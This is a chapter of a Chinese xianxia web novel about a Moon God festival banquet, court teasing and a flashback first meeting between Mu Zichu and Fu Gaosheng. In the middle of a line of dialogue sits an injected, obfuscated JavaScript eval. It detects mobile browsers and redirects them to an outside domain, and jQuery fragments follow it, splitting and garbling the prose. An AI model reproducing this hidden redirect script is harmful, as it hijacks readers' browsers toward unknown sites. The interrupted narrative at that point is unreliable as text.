24. 第23章 月神佳节
作品:《阁下之主》 这两日来,伯卿与姜璟带着周元岐和其他御灵卫,在九都域四处闲逛,将九都域著名的说书场、饭馆、茶楼玩了个遍。
未央殿内,姜璟气冲冲地跑进来:“阿姐,伯卿小气得很,我不要和他出去玩了。”
姜钰同黎炀坐在茶桌旁,一头雾水地看向他。
姜璟气道:“三五街上有处茶楼,还没走近便能闻到阵阵香气,我说我要和周元岐进去玩玩,可伯卿非要拦着,不让去。”
伯卿从外面疾步跟进来。
姜钰茫然问道:“为何不让?”
“那香气是……”伯卿面露难色,不知该如何开口。
“是什么?”姜钰问。
“是……是姑娘家的脂粉香。”
姜钰懵道:“有何不妥吗?”显然,她亦不知那是什么地方。
“没什么不妥,只是……”伯卿有口难言。
姜璟更生气了:“那进去给阿姐买两盒脂粉也好啊,亏我还给你买乐谱,小气鬼。”
伯卿没了办法,给旁边的黎炀使眼色,求助解围。
黎炀玩笑道:“要我说也是,伯卿公子连两盒脂粉钱都不愿出,未免小气些。”
伯卿心想,他怎么也跟着添乱。
黎炀瞧他受窘,而后对姜璟道:“不过二少主,你可能不知道,九都域有些地方,看似表面做着正经生意,实则背地里,乱得很。”
“怎么说?”姜璟问。
黎炀唬道:“他们可能会暗中交易些不可言说之事……比如,专门掳走如二少主般十岁左右的孩子,卖给邪门外道之流,研究邪术之类的。”
这一句话,便断了姜璟好奇的念头。
伯卿在一旁也安了心。
“所以二少主,还是不要一个人去街上游玩,伯卿公子既然不让你去,定是感知到那茶楼里暗藏的危险。”黎炀看他一脸惊恐之色,安慰道,“不过,今夜就是月神宴了,你大可好好玩一玩。”
“是啊,今夜,宴席上一定会有很多中州美食。”姜璟双眼冒光,随后一把拉上伯卿的手,“伯卿,你快跟我回屋,选身衣服,我可得好好打扮一番,再去赴宴。”
两人急匆匆地来,急匆匆地去,殿内又只剩下姜钰与黎炀两人。
姜钰好奇道:“所以,那到底是什么地方?”
“按伯卿说的意思,应当是……青楼。”黎炀看她满脸的懵懂,耐心解释道,“也就是,九都域的风月之地。”
姜钰直愣愣地问:“那是做什么的?”
黎炀思索一番道:“就是……那里的女子或是男子常以色相示人,卖艺或是卖身,供人取乐,以谋暴利。”
黎炀说罢,自己的脸反倒先涨红了。他端起茶碗,往口中送水,意欲掩饰自己的羞涩。
姜钰还是不太明白,拧了下眉:“像你这样吗?”
话还没落,黎炀差点把刚入口的茶喷出来。
“也不太一样。”他用力咳了咳,平复下来,端视她,“毕竟,流连那地方的客人都是在第一夜,便同人家有了肌肤之亲的。”
这下,换作姜钰的脸红得飞快。
她忽而想到黎炀初到听雨阁时,问她是否留下伺候。原来,是这个意思。
姜钰局促地端起茶碗,尴尬道:“喝茶,喝茶。”
随后,两人同时端起桌上的茶碗,大口猛灌,试图平复下燥热,装作无事发生。
皇城内,未等夜色变浓,宫人们便早早地悬置好盏盏宫灯,红绸宫纱交错缠于琉璃瓦下的蟠龙金柱之间。
宫宴设于大殿前的空地上,数张桌案呈圆月形由正中交叠向外扩散。各处侍奉的宫人端送来由金盏玉盘盛放的珍馐酒水。
天上圆月一改初始的朦胧之感,逐渐清晰。澄明的月色洒落在九都域各处,灯烛、萤火与其争艳。
文武百官两人为伍,以黎廷为首,穿过宫宴,迈过长阶,来到最前面东方位的拜月台之上。
拜月台上摆有一座长香案,香案上置有中州独有的礼器以及供奉月神的月团糕点,香案对侧,五位修灵道士盘腿席地而坐。
相貌年轻的皇主头顶九星金冠,身披游龙玄袍,双手握着三柱香,立于香案前。
“启阵——”裴酉之长喝之声穿透夜色。
五位修灵者运灵向天,手指长空,随后,一道灵光直冲九霄,顷刻间,月华如银浆倾泻在香案前,照亮在场诸位。
“起乐——”裴酉之二次喝道。
编钟大鼓,礼乐齐响,清越的音穿云裂石般贯进众人的耳里,盛大严肃且庄重。
“拜月——”裴酉之三次喝道。
黎廷奉香,官员跪地,连拜三回,方算礼成。
各部族宗派,候于长阶下方,宴席之间,目睹此盛举。
香案前,月华尽,皇城门缓缓开启,钟鼓声里混入坊市街角的笙箫之音,天上明月与与凡间灯火遥相接续。
黎廷大手一挥,声若哄钟:“拜月礼已成,现下开宴,请各部诸位入座。薄酒陋馔,望诸位今夜尽兴!”
话落,宴席正中走进候场许久的舞女,伴着宫中乐师的丝竹管弦之声翩然起舞。
每座席面上皆布着玉壶金盏,各类山珍海味。一时间,满座皆欢。
姜璟扔进嘴里一颗青绿的葡萄,对伯卿说道:“伯卿,此曲倒是不在你之下,你要不要拿出你的笛子,在这露一手?”
“二少主想听,回槐江山我日日奏给你听,在这吹?还是算了。”伯卿说罢,端起酒杯,一饮而尽。
姜钰与黎炀并排而坐,透过中间婀娜的舞女,看到对面的夏侯靖汌正死死地盯着她。
“他可是往这边看了半天了。”黎炀说着,夹了道鱼脍放进姜钰面前的碗里。
姜钰自然地接过鱼肉,吃进嘴里,坦然道:“无妨,他又奈何不了我。”
“某些山中野人,真是没见识,连鱼脍都吃不明白。”夏侯靖汌瞧着姜钰,眸中是明晃晃地挑衅。
“所谓‘金齑玉脍’,这鱼脍啊,是要裹着蘸料吃的。”夏侯靖汌夹起盘中的鱼脍,蘸好碟中的料汁,塞进口中。
没等姜钰说话,黎炀左右看了一眼,说道:“靖汌公子是海岛中人,自是对这水里的货色颇有研究,可你如此了解,却不知道,这鱼脍,入口纯品,风味也是极好的吗?”
比灵力功法,黎炀打不过他,可要论吃食,黎炀的造诣定是比他只高不低。
黎炀一脸无辜地问,夏侯靖汌说不出话来。
他继而说道:“正所谓‘大音希声,大味至淡’,第一口,便是要纯品鱼肉本身的原味与质感。”
黎炀夹起一片轻薄的鱼脍,悬到盛着蘸料的碟前:“这第二口,才是根据个人口味,蘸料食用,而这蘸料与辛物乃是些辅料,用时也只需蘸取少许即可。”
他边说边蘸好鱼脍,再次放进姜钰的碗中。
黎炀放下木筷,双手托起下巴,穿过夹在中间的舞女,遥遥望向对面,卖笑道:“我看靖汌公子刚才蘸了许多,倒不如直接将蘸料喝尽,来得痛快。”
夏侯靖汌听罢,面上无光,将一盘的鱼脍塞到旁边侍从的怀中,气愤道:“你!拿去!吃掉!”
侍从的脸上顿时展开藏不住的笑意。
夏侯靖汌看着对面,姜钰和黎炀都在笑他。他生气,却转头看到旁边的蠢奴也在笑。
于是,夏侯靖汌狠狠瞪了他一眼,那侍从这才顾着主子的面,佯装不快地收下了那一整盘的美味鱼脍。
宴席的另一边。
慕佃一脸担忧地问向旁侧的侍从:“怎么那么长时间了,都开宴了,梓初还没有来?不是说要换身衣物吗?你去找找她,大宴上人不在,不合规矩。”
侍从听着话,从旁侧悄然退下,前去寻人。
月色正好,一男一女并肩坐于皇城驿站的屋顶之上。
“复郜生,今晚是月神佳节,皇城内大摆宴席,我可是连宴席都没去,躲开了我阿爹,来找你……你可欢喜吗?”
“那宴席上可是有很多牧北
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16420439|183572||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没有的吃食,现下,我都没机会尝到了,你可要想想,怎么补偿我这份损失。”
“罢了罢了,不叫你补偿我,阿爹肯定会命人留我爱吃的,我记得前几年去归灵谷的时候,阿爹带去了些中州的月团,我看你吃了好几块,这次来九都皇城,我已经和膳房内的宫人学会了,以后可以做给你吃。”
慕梓初零零碎碎地说了许多话,可复郜生却宛如一块木头般雷打不动,面上连一丝波澜都不起。
“复郜生,你是和我在一起,就会变成小哑巴吗?”慕梓初只觉得下一刻,自己的眼泪就要掉下来了。
复郜生依旧没有说话。
慕梓初觉得有什么地方很痛,比割药草时,伤到手要痛;比炼药时,炉具砸到脚要痛;比她第一次见到复郜生时,砸向腹部的那支箭带来的痛感还要痛。
她摸了摸腰间的金色匕首,回想起初见复郜生时,是在归灵谷中一片草地里。
那年春夏交叠之时,她随父亲到归灵谷拜会老谷主复问秋。
复问秋初见小姑娘,便觉她机灵聪慧,讨人欢喜,看她夹在一群长辈之中百无聊赖,说不上话。
他便说起自己有一个义孙,虽比她大上两三岁,可却为人正直,待人诚恳,或许与她说得上话,人正在后山草场中修习箭术,问她可要去玩耍一番。
慕梓初只是听说归灵谷新近长出了许多奇珍异草,或可入药,正好交代师尊布置的任务,便征得父亲应允,前去草场。
慕梓初背上小竹篓,从后山进入。
她卷起衣袖,蹲在草地里,从一片灵草中挪到另一片,将挖好的药草一个接一个地扔进背后的竹篓里。
她挖草挖得专注,眼睛只看着地上,手往地里探。忽然,她摸到一根软乎乎的东西,嫩绿的,像草,可又说不上哪里奇怪。
她用力将根须向外一拽,竟扯不断,越拉越长。那草根连接着土地最里面,直到最前端的草苗在她手心跳起舞来,她才意识到危险。
顿时,地皮翻涌,一条形似巨蟒的粗大的草条袭向她的腰间,眨眼的功夫,人便卷到了半空中。
慕梓初的竹篓掉了下去,里面的灵草散落一地。她双手用力按住腰间的草条,不想那草条却将她越裹越紧,半点灵力也使不出。
束手无策之时,有一根箭跃进她慌乱的视线里,猛地射中那腰上的草条。
箭的力道穿过粗软的草条,砸中她的腹部。
她腹中一痛,草条随之松去。慕梓初摔倒在下面的草地上。
半晌,她扶着隐隐作痛的腰,站起来,瞧见不远处有一个男子走过来。
“这是草虬,是一些灵草吸纳了地气与动物残灵所化的妖兽,平时埋伏在草地中,数条根须纠缠在一起虽形体庞大,却也很好捕捉。”
他的声音缓慢低沉,安稳住慕梓初惊惧不已的心。
“你以后采药草时,可以把这个带上。”他从腰间掏出把金匕首,扔给她,“草虬颜色最深之处,便是它的命门,也就是灵气集中在一处的‘虬珠’,你一刀刺下去,便没有威胁了。”
“多谢公子,阁下怎么称呼?”慕梓初问。
“复郜生。”
他吐字清晰,清清楚楚的三个字像刚才那支箭的力道砸进慕梓初的心里,烙印下不可磨灭的痕迹。
“你是复谷主的义孙?”慕梓初自报家门道,“我叫慕梓初,是襄平原来的。”
“我知道。”
慕梓初感到惊喜:“你知道我?”
“嗯,听说过。”他回得很快,冷冷地,淡淡地。
复郜生心道,襄平原原主之女,药修传人,襄平原最乐善好施的原主千金。
自小受尽宠爱,性格活泼开朗,天真烂漫,看不惯恃强凌弱之举,听不得生灵涂炭之事。
灵法不强,却有着极高的药修天赋,一直捧着一颗良善之心,在襄平原四处行侠仗义,锄强扶弱。
平日跟随父亲去过九都五域很多地方,却是第一次,来归灵谷做客。